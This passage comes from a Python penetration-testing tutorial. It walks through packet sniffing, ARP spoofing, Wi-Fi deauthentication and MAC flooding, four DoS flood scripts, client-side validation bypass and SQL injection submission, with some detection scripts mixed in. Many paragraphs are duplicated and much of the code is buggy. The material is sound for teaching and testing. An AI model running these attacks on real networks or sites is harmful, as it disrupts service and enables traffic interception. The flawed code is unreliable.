review it whenever time allows. Before implementing the raw socket sniffer, let us understand the struct method as described below − As the name suggests, this method is used to return the string, which is packed according to the given format. The string contains the values a1, a2 and so on. As the name suggests, this method unpacks the string according to a given format. In the following example of raw socket sniffer IP header, which is the next 20 bytes in the packet and among these 20 bytes we are interested in the last 8 bytes. The latter bytes show if the source and destination IP address are parsing − Now, we need to import some basic modules as follows − import socket import struct import binascii Now, we will create a socket, which will have three parameters. The first parameter tells us about the packet interface — PF_PACKET for Linux specific and AF_INET for windows; the second parameter tells us that it is a raw socket and the third parameter tells us about the protocol we are interested in —0x0800 used for IP protocol. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800)) Now, we need to call the recvfrom() method to receive the packet. while True: packet = s.recvfrom(2048) In the following line of code, we are ripping the Ethernet header − ethernet_header = packet[0][0:14] With the following line of code, we are parsing and unpacking the header with the struct method − eth_header = struct.unpack("!6s6s2s", ethernet_header) The following line of code will return a tuple with three hex values, converted by hexify in the binascii module − print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2]) We can now get the IP header by executing the following line of code − ipheader = pkt[0][14:34] ip_header = struct.unpack("!12s4s4s", ipheader) print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2]) Similarly, we can also parse the TCP header. ARP may be defined as a stateless protocol which is used for mapping Internet Protocol (IP) addresses to a physical machine addresses. In this section, we will learn about the working of ARP. Consider the following steps to understand how ARP works − Step 1 − First, when a machine wants to communicate with another it must look up to its ARP table for physical address. Step 1 − First, when a machine wants to communicate with another it must look up to its ARP table for physical address. Step 2 − If it finds the physical address of the machine, the packet after converting to its right length, will be sent to the desired machine Step 2 − If it finds the physical address of the machine, the packet after converting to its right length, will be sent to the desired machine Step 3 − But if no entry is found for the IP address in the table, the ARP_request will be broadcast over the network. Step 3 − But if no entry is found for the IP address in the table, the ARP_request will be broadcast over the network. Step 4 − Now, all the machines on the network will compare the broadcasted IP address to MAC address and if any of the machines in the network identifies the address, it will respond to the ARP_request along with its IP and MAC address. Such ARP message is called ARP_reply. Step 4 − Now, all the machines on the network will compare the broadcasted IP address to MAC address and if any of the machines in the network identifies the address, it will respond to the ARP_request along with its IP and MAC address. Such ARP message is called ARP_reply. Step 5 − At last, the machine that sends the request will store the address pair in its ARP table and the whole communication will take place. Step 5 − At last, the machine that sends the request will store the address pair in its ARP table and the whole communication will take place. It may be defined as a type of attack where a malicious actor is sending a forged ARP request over the local area network. ARP Poisoning is also known as ARP Spoofing. It can be understood with the help of the following points − First ARP spoofing, for overloading the switch, will constructs a huge number of falsified ARP request and reply packets. First ARP spoofing, for overloading the switch, will constructs a huge number of falsified ARP request and reply packets. Then the switch will be set in forwarding mode. Then the switch will be set in forwarding mode. Now, the ARP table would be flooded with spoofed ARP responses, so that the attackers can sniff all network packets. Now, the ARP table would be flooded with spoofed ARP responses, so that the attackers can sniff all network packets. In this section, we will understand Python implementation of ARP spoofing. For this, we need three MAC addresses — first of the victim, second of the attacker and third of the gateway. Along with that, we also need to use the code of ARP protocol. Let us import the required modules as follows − import socket import struct import binascii Now, we will create a socket, which will have three parameters. The first parameter tells us about the packet interface (PF_PACKET for Linux specific and AF_INET for windows), the second parameter tells us if it is a raw socket and the third parameter tells us about the protocol we are interested in (here 0x0800 used for IP protocol). s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800)) s.bind(("eth0",socket.htons(0x0800))) We will now provide the mac address of attacker, victim and gateway machine − attckrmac = '\x00\x0c\x29\x4f\x8e\x76' victimmac ='\x00\x0C\x29\x2E\x84\x5A' gatewaymac = '\x00\x50\x56\xC0\x00\x28' We need to give the code of ARP protocol as shown − code ='\x08\x06' Two Ethernet packets, one for victim machine and another for gateway machine have been crafted as follows − ethernet1 = victimmac + attckmac + code ethernet2 = gatewaymac + attckmac + code The following lines of code are in order as per accordance with the ARP header − htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02' Now we need to give the IP addresses of the gateway machine and victim machines (Let us assume we have following IP addresses for gateway and victim machines) − gateway_ip = '192.168.43.85' victim_ip = '192.168.43.131' Convert the above IP addresses to hexadecimal format with the help of the socket.inet_aton() method. gatewayip = socket.inet_aton ( gateway_ip ) victimip = socket.inet_aton ( victim_ip ) Execute the following line of code to change the IP address of gateway machine. victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip while 1: s.send(victim_ARP) s.send(gateway_ARP) ARP spoofing can be implemented using Scapy on Kali Linux. Follow these steps to perform the same − In this step, we will find the IP address of the attacker machine by running the command ifconfig on the command prompt of Kali Linux. In this step, we will find the IP address of the target machine by running the command ifconfig on the command prompt of Kali Linux, which we need to open on another virtual machine. In this step, we need to ping the target machine from the attacker machine with the help of following command − Ping –c 192.168.43.85(say IP address of target machine) We already know that two machines use ARP packets to exchange MAC addresses hence after step 3, we can run the following command on the target machine to see the ARP cache − arp -n We can create ARP packets with the help of Scapy as follows − scapy arp_packt = ARP() arp_packt.display() We can send malicious ARP packets with the help of Scapy as follows − arp_packt.pdst = “192.168.43.85”(say IP address of target machine) arp_packt.hwsrc = “11:11:11:11:11:11” arp_packt.psrc = ”1.1.1.1” arp_packt.hwdst = “ff:ff:ff:ff:ff:ff” send(arp_packt) Step 7: Again check ARP cache on target machine Now if we will again check ARP cache on target machine then we will see the fake address ‘1.1.1.1’. Wireless systems come with a lot of flexibility but on the other hand, it leads to serious security issues too. And, how does this become a serious security issue — because attackers, in case of wireless connectivity, just need to have the availability of signal to attack rather than have the physical access as in case of wired network. Penetration testing of the wireless systems is an easier task than doing that on the wired network. We cannot really apply good physical security measures against a wireless medium, if we are located close enough, we would be able to "hear" (or at least your wireless adapter is able to hear) everything, that is flowing over the air. Before we get down with learning more about pentesting of wireless network, let us consider discussing terminologies and the process of communication between the client and the wireless system. Let us now learn the important terminologies related to pentesting of wireless network. An access point (AP) is the central node in 802.11 wireless implementations. This point is used to connect users to other users within the network and also can serve as the point of interconnection between wireless LAN (WLAN) and a fixed wire network. In a WLAN, an AP is a station that transmits and receives the data. It is 0-32 byte long human readable text string which is basically the name assigned to a wireless network. All devices in the network must use this case-sensitive name to communicate over wireless network (Wi-Fi). It is the MAC address of the Wi-Fi chipset running on a wireless access point (AP). It is generated randomly. It represents the range of radio frequency used by Access Point (AP) for transmission. Another important thing that we need to understand is the process of communication between client and the wireless system. With the help of the following diagram, we can understand the same − In the communication process between client and the access point, the AP periodically sends a beacon frame to show its presence. This frame comes with information related to SSID, BSSID and channel number. Now, the client device will send a probe request to check for the APs in range. After sending the probe request, it will wait for the probe response from AP. The Probe request contains the information like SSID of AP, vender-specific info, etc. Now, after getting the probe request, AP will send a probe response, which contains the information like supported data rate, capability, etc. Now, the client device will send an authentication request frame containing its identity. Now in response, the AP will send an authentication response frame indicating acceptance or rejection. When the authentication is successful, the client device has sent an association request frame containing supported data rate and SSID of AP. Now in response, the AP will send an association response frame indicating acceptance or rejection. An association ID of the client device will be created in case of acceptance. We can gather the information about SSID with the help of raw socket method as well as by using Scapy library. We have already learnt that mon0 captures the wireless packets; so, we need to set the monitor mode to mon0. In Kali Linux, it can be done with the help of airmon-ng script. After running this script, it will give wireless card a name say wlan1. Now with the help of the following command, we need to enable monitor mode on mon0 − airmon-ng start wlan1 Following is the raw socket method, Python script, which will give us the SSID of the AP − First of all we need to import the socket modules as follows − import socket Now, we will create a socket that will have three parameters. The first parameter tells us about the packet interface (PF_PACKET for Linux specific and AF_INET for windows), the second parameter tells us if it is a raw socket and the third parameter tells us that we are interested in all packets. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003)) Now, the next line will bind the mon0 mode and 0x0003. s.bind(("mon0", 0x0003)) Now, we need to declare an empty list, which will store the SSID of APs. ap_list = [] Now, we need to call the recvfrom() method to receive the packet. For the sniffing to continue, we will use the infinite while loop. while True: packet = s.recvfrom(2048) The next line of code shows if the frame is of 8 bits indicating the beacon frame. if packet[26] == "\x80" : if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0: ap_list.add(packetkt[36:42]) print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex'))) Scapy is one of the best libraries that can allow us to easily sniff Wi-Fi packets. You can learn Scapy in detail at https://scapy.readthedocs.io/en/latest/. To begin with, run Sacpy in interactive mode and use the command conf to get the value of iface. The default interface is eth0. Now as we have the dome above, we need to change this mode to mon0. It can be done as follows − >>> conf.iface = "mon0" >>> packets = sniff(count = 3) >>> packets <Sniffed: TCP:0 UDP:0 ICMP:0 Other:5> >>> len(packets) 3 Let us now import Scapy as a library. Further, the execution of the following Python script will give us the SSID − from scapy.all import * Now, we need to declare an empty list which will store the SSID of APs. ap_list = [] Now we are going to define a function named Packet_info(), which will have the complete packet parsing logic. It will have the argument pkt. def Packet_info(pkt) : In the next statement, we will apply a filter which will pass only Dot11 traffic which means 802.11 traffic. The line that follows is also a filter, which passes the traffic having frame type 0 (represents management frame) and frame subtype is 8 (represents beacon frame). if pkt.haslayer(Dot11) : if ((pkt.type == 0) & (pkt.subtype == 8)) : if pkt.addr2 not in ap_list : ap_list.append(pkt.addr2) print("SSID:", (pkt.addr2, pkt.info)) Now, the sniff function will sniff the data with iface value mon0 (for wireless packets) and invoke the Packet_info function. sniff(iface = "mon0", prn = Packet_info) For implementing the above Python scripts, we need Wi-Fi card that is capable of sniffing the air using the monitor mode. For detecting the clients of access points, we need to capture the probe request frame. We can do it just as we have done in the Python script for SSID sniffer using Scapy. We need to give Dot11ProbeReq for capturing probe request frame. Following is the Python script to detect clients of access points − from scapy.all import * probe_list = [] ap_name= input(“Enter the name of access point”) def Probe_info(pkt) : if pkt.haslayer(Dot11ProbeReq) : client_name = pkt.info if client_name == ap_name : if pkt.addr2 not in Probe_info: Print(“New Probe request--”, client_name) Print(“MAC is --”, pkt.addr2) Probe_list.append(pkt.addr2) sniff(iface = "mon0", prn = Probe_info) From the perspective of a pentester, it is very important to understand how a wireless attack takes place. In this section, we will discuss two kinds of wireless attacks − The de-authentication (deauth) attacks The de-authentication (deauth) attacks The MAC flooding attack The MAC flooding attack In the communication process between a client device and an access point whenever a client wants to disconnect, it needs to send the de-authentication frame. In response to that frame from the client, AP will also send a de-authentication frame. An attacker can get the advantage from this normal process by spoofing the MAC address of the victim and sending the de-authentication frame to AP. Due to this the connection between client and AP is dropped. Following is the Python script to carry out the de-authentication attack − Let us first import Scapy as a library − from scapy.all import * import sys Following two statements will input the MAC address of AP and victim respectively. BSSID = input("Enter MAC address of the Access Point:- ") vctm_mac = input("Enter MAC address of the Victim:- ") Now, we need to create the de-authentication frame. It can be created by executing the following statement. frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth() The next line of code represents the total number of packets sent; here it is 500 and the interval between two packets. sendp(frame, iface = "mon0", count = 500, inter = .1) Upon execution, the above command generates the following output − Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP) Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim) This is followed by the creation of the deauth frame , which is thereby sent to access point on behalf of the client. This will make the connection between them cancelled. The question here is how do we detect the deauth attack with Python script. Execution of the following Python script will help in detecting such attacks − from scapy.all import * i = 1 def deauth_frame(pkt): if pkt.haslayer(Dot11): if ((pkt.type == 0) & (pkt.subtype == 12)): global i print ("Deauth frame detected: ", i) i = i + 1 sniff(iface = "mon0", prn = deauth_frame) In the above script, the statement pkt.subtype == 12 indicates the deauth frame and the variable I which is globally defined tells about the number of packets. The execution of the above script generates the following output − Deauth frame detected: 1 Deauth frame detected: 2 Deauth frame detected: 3 Deauth frame detected: 4 Deauth frame detected: 5 Deauth frame detected: 6 The MAC address flooding attack (CAM table flooding attack) is a type of network attack where an attacker connected to a switch port floods the switch interface with very large number of Ethernet frames with different fake source MAC addresses. The CAM Table Overflows occur when an influx of MAC addresses is flooded into the table and the CAM table threshold is reached. This causes the switch to act like a hub, flooding the network with traffic at all ports. Such attacks are very easy to launch. The following Python script helps in launching such CAM flooding attack − from scapy.all import * def generate_packets(): packet_list = [] for i in xrange(1,1000): packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP()) packet_list.append(packet) return packet_list def cam_overflow(packet_list): sendp(packet_list, iface='wlan') if __name__ == '__main__': packet_list = generate_packets() cam_overflow(packet_list) The main aim of this kind of attack is to check the security of the switch. We need to use port security if want to make the effect of the MAC flooding attack lessen. Web applications and web servers are critical to our online presence and the attacks observed against them constitute more than 70% of the total attacks attempted on the Internet. These attacks attempt to convert trusted websites into malicious ones. Due to this reason, web server and web application pen testing plays an important role. Why do we need to consider the safety of web servers? It is because with the rapid growth of e-commerce industry, the prime target of attackers is web server. For web server pentesting, we must know about web server, its hosting software & operating systems along with the applications, which are running on them. Gathering such information about web server is called footprinting of web server. In our subsequent section, we will discuss the different methods for footprinting of a web server. Web servers are server software or hardware dedicated to handle requests and serve responses. This is a key area for a pentester to focus on while doing penetration testing of web servers. Let us now discuss a few methods, implemented in Python, which can be executed for footprinting of a web server − A very good practice for a penetration tester is to start by listing the various available HTTP methods. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods − To begin with, we need to import the requests library − import requests After importing the requests library, create an array of HTTP methods, which we are going to send. We will make use of some standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST'] The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code. for method in method_list: req = requests.request(method, 'Enter the URL’) print (method, req.status_code, req.reason) The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: print ('Cross Site Tracing(XST) is possible') After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’. HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server − To begin with, let us import the requests library − import requests We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library. request = requests.get('enter the URL') Next, we will generate a list of headers about which you need the information. header_list = [ 'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’] Next is a try and except block. for header in header_list: try: result = request.header_list[header] print ('%s: %s' % (header, result)) except Exception as err: print ('%s: No Details Found' % header) After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’. You can also learn more about HTTP_header fields from the link — https://www.tutorialspoint.com/http/http_header_fields.htm. We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt − import requests urls = open("websites.txt", "r") for url in urls: url = url.strip() req = requests.get(url) print (url, 'report:') try: protection_xss = req.headers['X-XSS-Protection'] if protection_xss != '1; mode = block': print ('X-XSS-Protection not set properly, it may be possible:', protection_xss) except: print ('X-XSS-Protection not set, it may be possible') try: options_content_type = req.headers['X-Content-Type-Options'] if options_content_type != 'nosniff': print ('X-Content-Type-Options not set properly:', options_content_type) except: print ('X-Content-Type-Options not set') try: transport_security = req.headers['Strict-Transport-Security'] except: print ('HSTS header not set properly, Man in the middle attacks is possible') try: content_security = req.headers['Content-Security-Policy'] print ('Content-Security-Policy set:', content_security) except: print ('Content-Security-Policy missing') In our previous section, we discussed footprinting of a web server. Similarly, footprinting of a web application is also considered important from the point of view of a penetration tester. In our subsequent section, we will learn about the different methods for footprinting of a web application. Web application is a client-server program, which is run by the client in a web server. This is another key area for a pentester to focus on while doing penetration testing of web application. Let us now discuss the different methods, implemented in Python, which can be used for footprinting of a web application − Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup. The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself. To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it. import urllib from bs4 import BeautifulSoup The Python script given below will gather the title of web page and hyperlinks − Now, we need a variable, which can store the URL of the website. Here, we will use a variable named ‘url’. We will also use the page.read() function that can store the web page and assign the web page to the variable html_page. url = raw_input("Enter the URL ") page = urllib.urlopen(url) html_page = page.read() The html_page will be assigned as an input to create soup object. soup_object = BeautifulSoup(html_page) Following two lines will print the title name with tags and without tags respectively. print soup_object.title print soup_object.title.text The line of code shown below will save all the hyperlinks. for link in soup_object.find_all('a'): print(link.get('href')) Banner is like a text message that contains information about the server and banner grabbing is the process of fetching that information provided by the banner itself. Now, we need to know how this banner is generated. It is generated by the header of the packet that is sent. And while the client tries to connect to a port, the server responds because the header contains information about the server. The following Python script helps grab the banner using socket programming − import socket s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800)) targethost = str(raw_input("Enter the host name: ")) targetport = int(raw_input("Enter Port: ")) s.connect((targethost,targetport)) def garb(s:) try: s.send('GET HTTP/1.1 \r\n') ret = sock.recv(1024) print ('[+]' + str(ret)) return except Exception as error: print ('[-]' Not information grabbed:' + str(error)) return After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section. In this chapter, we will learn how validation helps in Python Pentesting. The main goal of validation is to test and ensure that the user has provided necessary and properly formatted information needed to successfully complete an operation. There are two different types of validation − client-side validation (web browser) server-side validation The user input validation that takes place on the server side during a post back session is called server-side validation. The languages such as PHP and ASP.Net use server-side validation. Once the validation process on server side is over, the feedback is sent back to client by generating a new and dynamic web page. With the help of server-side validation, we can get protection against malicious users. On the other hand, the user input validation that takes place on the client side is called client-side validation. Scripting languages such as JavaScript and VBScript are used for client-side validation. In this kind of validation, all the user input validation is done in user’s browser only. It is not so secure like server-side validation because the hacker can easily bypass our client side scripting language and submit dangerous input to the server. Parameter passing in HTTP protocol can be done with the help of POST and GET methods. GET is used to request data from a specified resource and POST is used to send data to a server to create or update a resource. One major difference between both these methods is that if a website is using GET method then the passing parameters are shown in the URL and we can change this parameter and pass it to web server. For example, the query string (name/value pairs) is sent in the URL of a GET request: /test/hello_form.php?name1 = value1&name2 = value2. On the other hand, parameters are not shown while using the POST method. The data sent to the server with POST is stored in the request body of the HTTP request. For example, POST /test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2. The Python module that we are going to use is mechanize. It is a Python web browser, which is providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize, we can bypass the validation and temper client-side parameters. However, before importing it in our Python script, we need to install it by executing the following command − pip install mechanize Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice. To begin with, let us import the mechanize browser − import mechanize Now, we will create an object named brwsr of the mechanize browser − brwsr = mechanize.Browser() The next line of code shows that the user agent is not a robot. brwsr.set_handle_robots( False ) Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation. url = input("Enter URL ") Now, following lines will set some parenters to true. brwsr.set_handle_equiv(True) brwsr.set_handle_gzip(True) brwsr.set_handle_redirect(True) brwsr.set_handle_referer(True) Next it will open the web page and print the web form on that page. brwsr.open(url) for form in brwsr.forms(): print form Next line of codes will bypass the validations on the given fields. brwsr.select_form(nr = 0) brwsr.form['name'] = '' brwsr.form['gender'] = '' brwsr.submit() The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have taken two fields — ‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation. In this chapter, we will learn about the DoS and DdoS attack and understand how to detect them. With the boom in the e-commerce industry, the web server is now prone to attacks and is an easy target for the hackers. Hackers usually attempt two types of attack − DoS (Denial-of-Service) DDoS (Distribted Denial of Service) The Denial of Service (DoS) attack is an attempt by hackers to make a network resource unavailable. It usually interrupts the host, temporary or indefinitely, which is connected to the Internet. These attacks typically target services hosted on mission critical web servers such as banks, credit card payment gateways. Unusually slow network performance. Unusually slow network performance. Unavailability of a particular web site. Unavailability of a particular web site. Inability to access any web site. Inability to access any web site. Dramatic increase in the number of spam emails received. Dramatic increase in the number of spam emails received. Long-term denial of access to the web or any Internet services. Long-term denial of access to the web or any Internet services. Unavailability of a particular website. Unavailability of a particular website. DoS attack can be implemented at the data link, network or application layer. Let us now learn about the different types of DoS attacks &; their implementation in Python − A large number of packets are sent to web server by using single IP and from single port number. It is a low-level attack which is used to check the behavior of the web server. Its implementation in Python can be done with the help of Scapy. The following python script will help implement Single IP single port DoS attack − from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1 Upon execution, the above script will ask for the following three things − IP address of source and target. IP address of source and target. IP address of source port number. IP address of source port number. It will then send a large number of packets to the server for checking its behavior. It will then send a large number of packets to the server for checking its behavior. A large number of packets are sent to web server by using single IP and from multiple ports. Its implementation in Python can be done with the help of Scapy. The following python script will help implement Single IP multiple port DoS attack − from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") i = 1 while True: for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1 A large number of packets are sent to web server by using multiple IP and from single port number. Its implementation in Python can be done with the help of Scapy. The following Python script implement Single IP multiple port DoS attack − from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1 A large number of packets are send to web server by using multiple IPs and from multiple ports. Its implementation in Python can be done with the help of Scapy. The following Python script helps implement Multiple IPs multiple port DoS attack − Import random from scapy.all import * target_IP = input("Enter IP address of Target: ") i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1 A Distributed Denial of Service (DDoS) attack is an attempt to make an online service or a website unavailable by overloading it with huge floods of traffic generated from multiple sources. Unlike a Denial of Service (DoS) attack, in which one computer and one Internet connection is used to flood a targeted resource with packets, a DDoS attack uses many computers and many Internet connections, often distributed globally in what is referred to as a botnet. A large-scale volumetric DDoS attack can generate a traffic measured in tens of Gigabits (and even hundreds of Gigabits) per second. It can be read in detail at https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm. Actually DDoS attack is a bit difficult to detect because you do not know the host that is sending the traffic is a fake one or real. The Python script given below will help detect the DDoS attack. To begin with, let us import the necessary libraries − import socket import struct from datetime import datetime Now, we will create a socket as we have created in previous sections too. s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) We will use an empty dictionary − dict = {} The following line of code will open a text file, having the details of DDoS attack in append mode. file_txt = open("attack_DDoS.txt",'a') t1 = str(datetime.now()) With the help of following line of code, current time will be written whenever the program runs. file_txt.writelines(t1) file_txt.writelines("\n") Now, we need to assume the hits from a particular IP. Here we are assuming that if a particular IP is hitting for more than 15 times then it would be an attack. No_of_IPs = 15 R_No_of_IPs = No_of_IPs +10 while True: pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "The Source of the IP is:", IP The following line of code will check whether the IP exists in dictionary or not. If it exists then it will increase it by 1. if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP] The next line of code is used to remove redundancy. if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) : line = "DDOS attack is Detected: " file_txt.writelines(line) file_txt.writelines(IP) file_txt.writelines("\n") else: dict[IP] = 1 After running the above script, we will get the result in a text file. According to the script, if an IP hits for more than 15 times then it would be printed as DDoS attack is detected along with that IP address. The SQL injection is a set of SQL commands that are placed in a URL string or in data structures in order to retrieve a response that we want from the databases that are connected with the web applications. This type of attacksk generally takes place on webpages developed using PHP or ASP.NET. An SQL injection attack can be done with the following intentions − To modify the content of the databases To modify the content of the databases To modify the content of the databases To modify the content of the databases To perform different queries that are not allowed by the application To perform different queries that are not allowed by the application This type of attack works when the applications does not validate the inputs properly, before passing them to an SQL statement. Injections are normally placed put in address bars, search fields, or data fields. The easiest way to detect if a web application is vulnerable to an SQL injection attack is by using the " ‘ " character in a string and see if you get any error. In this section, we will learn about the different types of SQLi attack. The attack can be categorize into the following two types − In-band SQL injection (Simple SQLi) In-band SQL injection (Simple SQLi) Inferential SQL injection (Blind SQLi) Inferential SQL injection (Blind SQLi) It is the most common SQL injection. This kind of SQL injection mainly occurs when an attacker is able to use the same communication channel to both launch the attack & congregate results. The in-band SQL injections are further divided into two types − Error-based SQL injection − An error-based SQL injection technique relies on error message thrown by the database server to obtain information about the structure of the database. Error-based SQL injection − An error-based SQL injection technique relies on error message thrown by the database server to obtain information about the structure of the database. Union-based SQL injection − It is another in-band SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result, which is then returned as part of the HTTP response. Union-based SQL injection − It is another in-band SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result, which is then returned as part of the HTTP response. In this kind of SQL injection attack, attacker is not able to see the result of an attack in-band because no data is transferred via the web application. This is the reason it is also called Blind SQLi. Inferential SQL injections are further of two types − Boolean-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result. Boolean-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result. Time-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE. Time-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE. All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation. The following Python script helps submit forms and analyze the response using mechanize − First of all we need to import the mechanize module. import mechanize Now, provide the name of the URL for obtaining the response after submitting the form. url = input("Enter the full url") The following line of codes will open the url. request = mechanize.Browser() request.open(url) Now, we need to select the form. request.select_form(nr = 0) Here, we will set the column name ‘id’. request["id"] = "1 OR 1 = 1" Now, we need to submit the form. response = request.submit() content = response.read() print content The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file. To begin with, let us import the mechanize module. import mechanize Now, provide the name of the URL for obtaining the response after submitting the form. url = input("Enter the full url") attack_no = 1 We need to read the attack vectors from the file. With open (‘vectors.txt’) as v: Now we will send request with each arrack vector For line in v: browser.open(url) browser.select_form(nr = 0) browser[“id”] = line res = browser.submit() content = res.read() Now, the following line of code will write the response to the output file. output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’) output.write(content) output.close() print attack_no attack_no += 1 By checking and analyzing the responses, we can identify the possible attacks. For example, if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection. Cross-site scripting attacks are a type of injection that also refer to client-side code injection attack. Here, malicious codes are injected into a legitimate website. The concept of Same Origin Policy (SOP) is very useful in understanding the concept of Cross-site scripting. SOP is the most important security principal in every web browser. It forbids websites from retrieving content from pages with another origin. For example, the web page www.tutorialspoint.com/index.html can access the contents from www.tutorialspoint.com/contact.html but www.virus.com/index.html cannot access content from www.tutorialspoint.com/contact.html. In this way, we can say that cross-site scripting is a way of bypassing SOP security policy. In this section, let us learn about the different types of XSS attack. The attack can be classified into the following major categories − Persistent or stored XSS Non-persistent or reflected XSS In this kind of XSS attack, an attacker injects a script, referred to as the payload, that is permanently stored on the target web application, for example within a database. This is the reason, it is called persistent XSS attack. It is actually the most damaging type of XSS attack. For example, a malicious code is inserted by an attacker in the comment field on a blog or in the forum post. It is the most common type of XSS attack in which the attacker’s payload has to be the part of the request, which is sent to the web server and reflected, back in such a way that the HTTP response includes the payload from the HTTP request. It is a non-persistent attack because the attacker needs to deliver the payload to each victim. The most common example of such kinds of XSS attacks are the phishing emails with the help of which attacker attracts the victim to make a request to the server which contains the XSS payloads and ends-up executing the script that gets reflected and executed inside the browser. Same as SQLi, XSS web attacks 